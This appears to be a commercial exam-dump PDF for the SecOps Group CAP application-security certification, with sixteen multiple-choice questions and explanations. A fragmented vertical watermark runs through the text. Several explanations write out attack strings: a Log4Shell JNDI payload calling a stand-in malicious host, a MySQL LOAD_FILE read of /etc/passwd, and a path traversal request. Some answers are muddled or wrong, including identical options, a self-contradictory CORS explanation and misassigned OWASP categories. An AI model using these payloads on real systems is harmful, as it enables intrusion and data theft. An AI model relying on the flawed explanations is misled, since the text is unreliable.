DUMPS BASE
EXAM DUMPS
THE SECOPS GROUP secops-CAP 28% OFF Automatically For You Certified AppSec Practitioner Exam
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
1.Salt is a cryptographically secure random string that is added to a password before it is hashed. In this context, what is the primary objective of salting? A. To defend against dictionary attacks or attacks against hashed passwords using a rainbow table. B. To slow down the hash calculation process. C. To generate a long password hash that is difficult to crack. D. To add a secret message to the password hash. Answer: A Explanation: Salting is a security technique used in password hashing to enhance protection against specific types of attacks. A salt is a random value added to a password before hashing, ensuring that even if two users have the same password, their hashed outputs will differ. The primary objective of salting is to defend against dictionary attacks and rainbow table attacks. Dictionary attacks involve trying common passwords from a precomputed list, while rainbow table attacks use precomputed tables of hash values to reverse-engineer passwords quickly. By adding a unique salt to each password, the hash becomes unique, rendering precomputed rainbow tables ineffective, as an attacker would need to generate a new table for each salt, which is computationally impractical. Option B ("To slow down the hash calculation process") is incorrect because while techniques like key stretching (e.g., using PBKDF2 or bcrypt) intentionally slow hashing to counter brute-force attacks, salting itself does not primarily aim to slow the process?it focuses on uniqueness. Option C ("To generate a long password hash that is difficult to crack") is a byproduct of salting but not the primary objective; the length and difficulty come from the hash function and salt combination, not salting alone. Option D ("To add a secret message to the password hash") is incorrect, as a salt is not a secret message but a random value, often stored alongside the hash. This aligns with best practices in authentication security, a key component of the CAP syllabus. Reference: SecOps Group CAP Documents - "Secure Coding Practices," "Authentication Security," and "Cryptographic Techniques" sections.
2.Which of the following directives in a Content-Security-Policy HTTP response header, can be used to prevent a Clickjacking attack? A. script-src B. object-src C. frame-ancestors D. base-uri Answer: C Explanation: Clickjacking is an attack where a malicious site overlays a transparent iframe
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
containing a legitimate site, tricking users into interacting with it unintentionally (e.g., clicking a button). The Content-Security-Policy (CSP) HTTP response header is used to mitigate various client-side attacks, including clickjacking, through specific directives. The frame-ancestors directive is the correct choice for preventing clickjacking. This directive specifies which origins are allowed to embed the webpage in an iframe, , or . For example, setting frame-ancestors 'self' restricts framing to the same origin, effectively blocking external sites from embedding the page. This is a standard defense mechanism recommended by OWASP and other security frameworks. Option A ("script-src") controls the sources from which scripts can be loaded, addressing XSS (Cross-Site Scripting) vulnerabilities but not clickjacking. Option B ("object-src") restricts the sources of plugins or embedded objects (e.g., Flash), which is unrelated to iframe-based clickjacking. Option D ("base-uri") defines the base URL for relative URLs in the document, offering no protection against framing attacks. The use of CSP with the frame-ancestors directive is a critical topic in the CAP syllabus under "Security Headers" and "OWASP Top 10" (UI Redressing). Reference: SecOps Group CAP Documents - "Security Headers," "OWASP Top 10 (A07:2021 - Identification and Authentication Failures)," and "Client-Side Security" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
3.The application is vulnerable to Cross-Site Scripting. Which of the following exploitation is NOT possible at all? A. Steal the user's session identifier stored on a non HttpOnly cookie B. Steal the contents from the web page C. Steal the contents from the application's database D. Steal the contents from the user's keystrokes using keyloggers Answer: C Explanation: Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the context of the victim’s browser, enabling various exploitations. Let’s evaluate each option: Option A ("Steal the user's session identifier stored on a non HttpOnly cookie"): This is possible with XSS. If a session cookie is not marked as HttpOnly (preventing JavaScript access), an attacker can use a script to access document.cookie and steal the session ID, leading to session hijacking. Option B ("Steal the contents from the web page"): This is also possible. An XSS payload can manipulate the DOM, extract content (e.g., via innerHTML), and send it to the attacker, such as through a GET request to a malicious server. Option C ("Steal the contents from the application's database"): This is not possible with XSS alone. XSS operates on the client side within the browser’s sandbox and cannot directly access the server-side database. Database access requires server-
P as
s
side vulnerabilities (e.g., SQL injection), which is a separate attack vector. Thus, this exploitation is not feasible through XSS. Option D ("Steal the contents from the user's keystrokes using keyloggers"): This is possible. An XSS script can inject a keylogger (e.g., using onkeydown events) to capture keystrokes and transmit them to the attacker, especially on pages where sensitive data (e.g., forms) is entered. Therefore, the correct answer is C, as XSS cannot directly exploit the database. This distinction is crucial in understanding attack vectors, a core topic in the CAP syllabus under "OWASP Top 10 (A03:2021 - Injection)" and "XSS Mitigation." Reference: SecOps Group CAP Documents - "OWASP Top 10," "Cross-Site Scripting (XSS)," and "Client-Side Attack Vectors" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
4.Which of the following SSL/TLS protocols are considered to be insecure? A. SSLv2 and SSLv3 B. TLSv1.0 and TLSv1.1 C. Both A and B D. SSLv2, SSLv3, TLSv1.0, TLSv1.1, TLSv1.2 and TLSv1.3 Answer: C Explanation: SSL (Secure Sockets Layer) and TLS (Transport Layer Security) are cryptographic protocols used to secure communication over a network. The security of these protocols has evolved over time, with older versions being deprecated due to identified vulnerabilities. SSLv2 and SSLv3 are considered insecure because they are vulnerable to attacks such as POODLE (Padding Oracle On Downgraded Legacy Encryption), which exploits weaknesses in their padding schemes. Similarly, TLSv1.0 and TLSv1.1 are also deemed insecure due to vulnerabilities like BEAST (Browser Exploit Against SSL/TLS) and weak cipher support, and they have been deprecated by modern standards (e.g., PCI DSS). TLSv1.2 and TLSv1.3 are considered secure when properly configured with strong ciphers. Option A correctly identifies SSLv2 and SSLv3 as insecure, but it omits TLSv1.0 and TLSv1.1. Option B correctly identifies TLSv1.0 and TLSv1.1 as insecure but omits SSLv2 and SSLv3. Option C ("Both A and B") encompasses all insecure protocols (SSLv2, SSLv3, TLSv1.0, and TLSv1.1), making it the most comprehensive and correct answer. Option D is incorrect because it includes TLSv1.2 and TLSv1.3, which are secure when used with modern configurations. This aligns with the CAP syllabus focus on secure communication protocols and vulnerability management. Reference: SecOps Group CAP Documents - "Secure Communication," "SSL/TLS Configuration," and "OWASP Secure Headers" sections.
5.In the context of the infamous log4j vulnerability (CVE-2021-44228), which vulnerability is exploited in the backend to achieve Remote Code Execution?
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
A. JNDI Injection B. JNDI Injection C. JNDI Injection D. None of the above Answer: B Explanation: The Log4j vulnerability, identified as CVE-2021-44228 (commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leverages JNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list "JNDI Injection," which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ("None of the above") is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention. Reference: SecOps Group CAP Documents - "Injection Vulnerabilities," "Remote Code Execution," and "OWASP Top 10 (A03:2021 - Injection)" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
6.In the context of the CORS (Cross-origin resource sharing) misconfiguration, which of the following statements is true? A. CORS is exploitable if the value of the HTTP headers are Access-Control-AllowOrigin: * and Access-Control-Allow-Credentials: true B. CORS is exploitable if the value of the HTTP headers are Access-Control-AllowOrigin: * and Access-Control-Allow-Credentials: false C. CORS is exploitable if the value of the HTTP headers is Access-Control-AllowOrigin: * and the value of the Access-Control-Allow-Credentials header is irrelevant D. All of the above Answer: A Explanation: CORS (Cross-Origin Resource Sharing) is a mechanism that allows servers to specify which origins can access their resources, enhancing security for cross-origin requests. A common misconfiguration occurs with the Access-Control-Allow-Origin and Access-Control-Allow-Credentials headers. When Access-Control-Allow-Origin is set to * (wildcard, allowing all origins), it permits any domain to make requests. However, if Access-Control-Allow-Credentials is set to true (allowing credentials like cookies or HTTP authentication), this creates a security risk. Browsers will block such requests because sending credentials with a wildcard origin violates CORS security policies, but an attacker could exploit this misconfiguration to trick a victim’s browser
P as
s
into making unauthorized requests if other controls are absent. Option A is correct because the combination of Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true is exploitable, as it enables potential credential leakage or unauthorized access. Option B is incorrect because AccessControl-Allow-Credentials: false disables credential sending, reducing exploitability. Option C is incorrect because the value of Access-Control-Allow-Credentials is not irrelevant; it must be false with a wildcard origin to comply with security standards. Option D ("All of the above") is incorrect as only A holds true. This is a key topic in the CAP syllabus under "CORS Misconfiguration" and "Client-Side Security." Reference: SecOps Group CAP Documents - "CORS Configuration," "Security Misconfigurations," and "OWASP Secure Headers" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
7.In the screenshot below, an attacker is attempting to exploit which vulnerability? POST /upload.php HTTP/1.1 Host: example.com Cookie: session=xyz123;JSESSIONID=abc123 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) rv:107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 12345 Connection: keep-alive Content-Disposition: form-data; name="avatar"; filename="malicious.php" Content-Type: image/jpeg A. HTTP Desync Attack B. File Path Traversal Attack C. File Upload Vulnerability D. Server-Side Request Forgery Answer: C Explanation: The screenshot shows an HTTP POST request to /upload.php with a multipart/formdata payload, where the attacker uploads a file named malicious.php disguised as an image/jpeg but containing PHP code (). This indicates an attempt to exploit a File Upload Vulnerability. Such vulnerabilities occur when an application allows users to upload files without proper validation or sanitization, enabling attackers to upload malicious scripts (e.g., PHP) that can be executed on the server.
P as
s
In this case, if the server executes the uploaded malicious.php, it could expose server information via phpinfo() or perform other malicious actions. Option A ("HTTP Desync Attack") involves manipulating HTTP request pipelines, which is not relevant here as the request appears standard. Option B ("File Path Traversal Attack") involves accessing unauthorized files using ../, which is not evident in this request. Option D ("Server-Side Request Forgery") involves tricking the server into making unintended requests, which does not apply to file uploads. Thus, C is the correct answer, aligning with the CAP syllabus under "File Handling Security" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)." Reference: SecOps Group CAP Documents - "File Upload Vulnerabilities," "Input Validation," and "OWASP Top 10" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
8.In the screenshot below, which of the following is incorrect? Target: https://example.com HTTP/1.1 404 Not Found Date: Fri, 09 Dec 2022 18:03:49 GMT Server: Apache Vary: Cookie X-Powered-By: PHP/5.4.5-5 X-Xss-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=UTF-8 Cookie: JSESSIONID=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789; secure; HttpOnly; SameSite=None A. The application discloses the framework name and version B. The application reveals user-agent details C. A cookie is set with HttpOnly and a Secure flag D. The application accepts insecure protocol Answer: A Explanation: The screenshot shows an HTTP response header from https://example.com with a 404 status. Let’s evaluate each option: Option A ("The application discloses the framework name and version"): The XPowered-By: PHP/5.4.5-5 header reveals the server is running PHP version 5.4.5-5, which is a security risk as it exposes the framework and version. This information can help attackers identify known vulnerabilities, making A incorrect (i.e., it is a problem). Option B ("The application reveals user-agent details"): The response does not include user-agent details; it only shows the server’s configuration. User-agent details are part of the request, not the response, so this is incorrect (not a problem here).
ou
P as
s
Option C ("A cookie is set with HttpOnly and a Secure flag"): The Cookie header includes HttpOnly and Secure attributes, which are best practices to prevent JavaScript access and ensure transmission over HTTPS, respectively. This is correct behavior, so it is not incorrect. Option D ("The application accepts insecure protocol"): The response uses https://, indicating a secure protocol (TLS), and there’s no evidence of accepting insecure protocols like HTTP. This is not incorrect. Thus, the incorrect statement is A, as disclosing the framework name and version via X-Powered-By is a security misconfiguration. This aligns with the CAP syllabus under "Security Headers" and "Information Disclosure." Reference: SecOps Group CAP Documents - "Security Misconfigurations," "HTTP Headers," and "OWASP Top 10 (A05:2021 - Security Misconfiguration)" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
9.Which of the following is considered as a safe password? A. Monday@123 B. abcdef C. Sq0Jh819%ak D. 1234567890 Answer: C Explanation: A safe password must adhere to security best practices, including sufficient length, complexity, and resistance to common attacks (e.g., brute force, dictionary attacks). Let’s evaluate each option: Option A ("Monday@123"): This password is weak because it combines a common word ("Monday") with a simple number and symbol pattern. It is vulnerable to dictionary attacks and does not meet complexity requirements (e.g., mixed case, special characters, and randomness). Option B ("abcdef"): This is a sequence of letters with no numbers, special characters, or uppercase letters. It is extremely weak and easily guessable, making it unsafe. Option C ("Sq0Jh819%ak"): This password is considered safe because it is at least 10 characters long, includes a mix of uppercase letters (S, J, H), lowercase letters (q, h, a, k), numbers (0, 8, 9, 1), and a special character (%). It lacks predictable patterns and meets modern password policy standards (e.g., NIST SP 800-63B recommends at least 8 characters with complexity). Option D ("1234567890"): This is a simple numeric sequence, highly predictable, and vulnerable to brute-force attacks, making it unsafe. The correct answer is C, as it aligns with secure password creation guidelines, a key topic in the CAP syllabus under "Authentication Security" and "Secure Coding Practices." Reference: SecOps Group CAP Documents - "Password Management," "Authentication Security," and "OWASP Secure Coding Guidelines" sections.
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
10.Which SQL function can be used to read the contents of a file during manual exploitation of the SQL injection vulnerability in a MySQL database? A. READ_FILE() B. LOAD_FILE() C. FETCH_FILE() D. GET_FILE() Answer: B Explanation: SQL injection vulnerabilities allow attackers to manipulate database queries, potentially accessing unauthorized data, including file contents, if the database supports such operations. In MySQL, the LOAD_FILE() function is specifically designed to read the contents of a file on the server where the database is hosted, provided the file exists, the database user has appropriate privileges (e.g., FILE privilege), and the file is readable. For example, SELECT LOAD_FILE('/etc/passwd') could extract the contents of the /etc/passwd file if exploitable. Option A ("READ_FILE()"): This is not a valid MySQL function. Option B ("LOAD_FILE()"): This is the correct function for reading file contents in MySQL, making it the right choice for exploitation. Option C ("FETCH_FILE()"): This is not a recognized MySQL function. Option D ("GET_FILE()"): This is also not a valid MySQL function. The correct answer is B, aligning with the CAP syllabus under "SQL Injection" and "Database Security." Reference: SecOps Group CAP Documents - "Injection Vulnerabilities," "MySQL Security Features," and "OWASP Top 10 (A03:2021 - Injection)" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
11.Which of the following is correct? A. The browser contains the private key of all known Certifying Authorities (CA) and based on that, it differentiates between a valid and an invalid TLS Certificate B. The browser contains the public key of all known Certifying Authorities (CA) and based on that it is able to differentiate between a valid and an invalid TLS Certificate C. The browser contains both the public and private key of all known Certifying Authorities (CA) and based on that it is able to differentiate between a valid and an invalid TLS Certificate D. The browser does not have any mechanism to validate the TLS Certificate Answer: B Explanation: TLS (Transport Layer Security) certificates are validated by browsers to ensure secure communication. Browsers maintain a trusted store of public keys from known Certifying Authorities (CAs), which are used to verify the digital signature of a TLS certificate presented by a server. This process involves checking the certificate’s signature against the CA’s public key to confirm its authenticity and validity. If the signature matches and other criteria (e.g., expiration, revocation) are met, the
H
el
p
Y
ou
P as
s
certificate is deemed valid. Option A ("The browser contains the private key..."): Incorrect, as browsers do not contain private keys of CAs; private keys are kept secret by the CAs themselves. Option B ("The browser contains the public key..."): Correct, as browsers use CA public keys to validate certificates, enabling differentiation between valid and invalid TLS certificates. Option C ("The browser contains both the public and private key..."): Incorrect, as browsers only store public keys, not private keys, for security reasons. Option D ("The browser does not have any mechanism..."): Incorrect, as browsers have robust mechanisms (via CA public keys) to validate TLS certificates. The correct answer is B, aligning with the CAP syllabus under "Secure Communication" and "TLS Configuration." Reference: SecOps Group CAP Documents - "TLS/SSL Security," "Certificate Validation," and "OWASP Cryptographic Practices" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
12.What is the name of the WordPress file that contains the database connection information, including the database name, username, and password? A. wp-configuration.php B. wp-conf.php C. wp-secret.php D. wp-config.php Answer: D Explanation: In WordPress, the file that stores database connection details, including the database name, username, password, and host, is wp-config.php. This file is located in the root directory of a WordPress installation and is critical for configuring the connection to the MySQL database. It contains constants like DB_NAME, DB_USER, DB_PASSWORD, and DB_HOST, which must be protected from unauthorized access to prevent database compromise. Option A ("wp-configuration.php"): A common misspelling; the correct file name lacks the extra "ation." Option B ("wp-conf.php"): This is not a valid WordPress file name. Option C ("wp-secret.php"): This is not a standard WordPress file. Option D ("wp-config.php"): The correct and official file name used by WordPress. The correct answer is D, aligning with the CAP syllabus under "Configuration Management" and "Application Security." Reference: SecOps Group CAP Documents - "Application Configuration," "WordPress Security," and "Database Security" sections.
13.Based on the screenshot below, which of the following statements is true? HTTP/1.1 200 OK
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
Accept-Ranges: bytes Age: 359987 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Fri, 02 Dec 2022 18:33:05 GMT Expires: Fri, 09 Dec 2022 18:33:05 GMT Last-Modified: Mon, 28 Nov 2022 14:33:18 GMT Server: Microsoft-IIS/8.0 X-AspNet-Version: 2.0.50727 Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 1256 A. The application is using an outdated server technology B. The application is disclosing the server version C. The application is disclosing the version of the framework used D. All of the above Answer: D Explanation: The HTTP response headers provide metadata about the server and its configuration. Let’s analyze each header and evaluate the statements: Headers Breakdown: Server: Microsoft-IIS/8.0: Indicates the web server is Microsoft Internet Information Services (IIS) version 8.0. X-AspNet-Version: 2.0.50727: Indicates the application is using ASP.NET version 2.0.50727. X-Powered-By: ASP.NET: Confirms the application framework is ASP.NET. Other headers (e.g., Cache-Control, Content-Type, Expires) are standard and not directly relevant to the statements. Option A ("The application is using an outdated server technology"): The Server: Microsoft-IIS/8.0 header indicates the server is running IIS 8.0, which was released in 2012 and is associated with Windows Server 2012. As of the current date (March 06, 2025), IIS 8.0 is outdated; Microsoft has released newer versions (e.g., IIS 10 with Windows Server 2016/2019). Additionally, mainstream support for Windows Server 2012 ended in October 2018, and extended support ended in October 2023, making IIS 8.0 unsupported and vulnerable to unpatched security issues. This statement is true. Option B ("The application is disclosing the server version"): The Server: MicrosoftIIS/8.0 header explicitly discloses the server type (IIS) and version (8.0). Disclosing server version information is a security risk because attackers can use this to identify known vulnerabilities specific to that version (e.g., CVE exploits for IIS 8.0). Best practice is to suppress or obfuscate this header (e.g., Server: WebServer), so this statement is true. Option C ("The application is disclosing the version of the framework used"): The X-
Y
ou
P as
s
AspNet-Version: 2.0.50727 header reveals the ASP.NET framework version (2.0.50727), which corresponds to .NET Framework 2.0, released in 2005. Disclosing the framework version is a security risk because attackers can target known vulnerabilities in that version (e.g., .NET Framework 2.0 is long unsupported; support ended in 2011). Best practice is to disable this header in the application configuration (e.g., in web.config for ASP.NET), so this statement is true. Option D ("All of the above"): Since A (outdated server technology), B (disclosing server version), and C (disclosing framework version) are all true, this is the correct answer. The correct answer is D, aligning with the CAP syllabus under "Information Disclosure" and "HTTP Header Security." Reference: SecOps Group CAP Documents - "Information Disclosure Prevention," "Server Hardening," and "OWASP Secure Headers Project" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
14.Based on the below HTTP request, which of the following statements is correct? POST /changepassword HTTP/2 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Cookie: JSESSIONID=38RB5ECV10785B53AF29816E92E2E50 Content-Length: 95 new_password=usher!@22&confirm_password=usher!@22 A. The change password feature does not validate the user B. The change password feature uses basic authorization C. The change password feature is vulnerable to Cross-Site Request Forgery attack D. All of the above Answer: C Explanation: The HTTP request is a POST to /changepassword with a session cookie (JSESSIONID) and parameters new_password and confirm_password. Let’s evaluate each option: Option A ("The change password feature does not validate the user"): The request includes a JSESSIONID cookie, which typically indicates that the user is authenticated via a session. There’s no evidence that user validation is absent, so this is not correct. Option B ("The change password feature uses basic authorization"): Basic authorization would involve an Authorization: Basic header with a Base64-encoded username and password, which is not present here. The authentication appears to be session-based (via cookie), not basic auth, so this is incorrect.
to
H
el
p
Y
ou
P as
s
Option C ("The change password feature is vulnerable to Cross-Site Request Forgery attack"): Cross-Site Request Forgery (CSRF) occurs when a malicious site tricks a user’s browser into making an unintended request to another site where the user is authenticated. This request lacks a CSRF token (e.g., a unique, unpredictable token in the request body or header) to verify the request’s legitimacy. The Sec-Fetch-Site: same-origin header indicates the request is currently from the same origin, but this is a browser feature, not a server-side CSRF protection. Without a CSRF token, the endpoint is vulnerable to CSRF, as an attacker could craft a malicious form on another site to submit this request on behalf of the user. This is the correct answer. Option D ("All of the above"): Since A and B are incorrect, D cannot be correct. The correct answer is C, aligning with the CAP syllabus under "Cross-Site Request Forgery (CSRF)" and "OWASP Top 10 (A08:2021 - Software and Data Integrity Failures)." Reference: SecOps Group CAP Documents - "CSRF Prevention," "Session Management," and "OWASP Secure Coding Practices" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
15.Observe the HTTP request below and identify the vulnerability attempted. GET /help.php?file=../../../etc/passwd HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cookie: JSESSIONID=38RB5ECV10785B53AF29816E92E2E50 Te: trailers Connection: keep-alive A. Cross-Site Request Forgery Vulnerability B. Path Traversal Vulnerability C. Code Injection Vulnerability D. All of the above Answer: B Explanation: The HTTP request is a GET to /help.php with a parameter file=../../../etc/passwd. Let’s analyze the vulnerability: The file parameter includes ../ sequences, which are used to navigate up the directory
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
structure (.. moves up one directory level). The request attempts to access /etc/passwd, a sensitive system file on Linux servers that contains user information. This is indicative of a Path Traversal Vulnerability (also known as Directory Traversal), where an attacker manipulates file paths to access unauthorized files outside the intended directory. If the server does not sanitize or restrict the file parameter, it may serve the contents of /etc/passwd, leading to sensitive information disclosure. Option A ("Cross-Site Request Forgery Vulnerability"): CSRF involves tricking a user into making an unintended request, typically via a malicious form or link. This request does not indicate CSRF; it’s a direct attempt to manipulate file access, so this is incorrect. Option B ("Path Traversal Vulnerability"): As explained, the ../ sequences in the file parameter are a clear attempt at path traversal, making this the correct answer. Option C ("Code Injection Vulnerability"): Code injection involves executing malicious code (e.g., PHP, SQL), but this request aims to read a file, not execute code, so this is incorrect. Option D ("All of the above"): Since only Path Traversal applies, this is incorrect. The correct answer is B, aligning with the CAP syllabus under "Path Traversal" and "OWASP Top 10 (A05:2021 - Security Misconfiguration)." Reference: SecOps Group CAP Documents - "Path Traversal Attacks," "Input Validation," and "OWASP Secure Coding Practices" sections.
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
16.Scan the code below and identify the vulnerability which is the most applicable for this scenario. A. SQL Injection B. Type Juggling C. Component with a Known Vulnerability D. Server-Side Request Forgery Answer: C Explanation:
A ut
he
nt
ic
S
ec o
ps
-C
A
P
D
um
ps
(V
8.
02
)
-R
ig
ht
S
tu
dy
G
ui
de
to
H
el
p
Y
ou
P as
s
The code snippet shows HTML and tags, along with a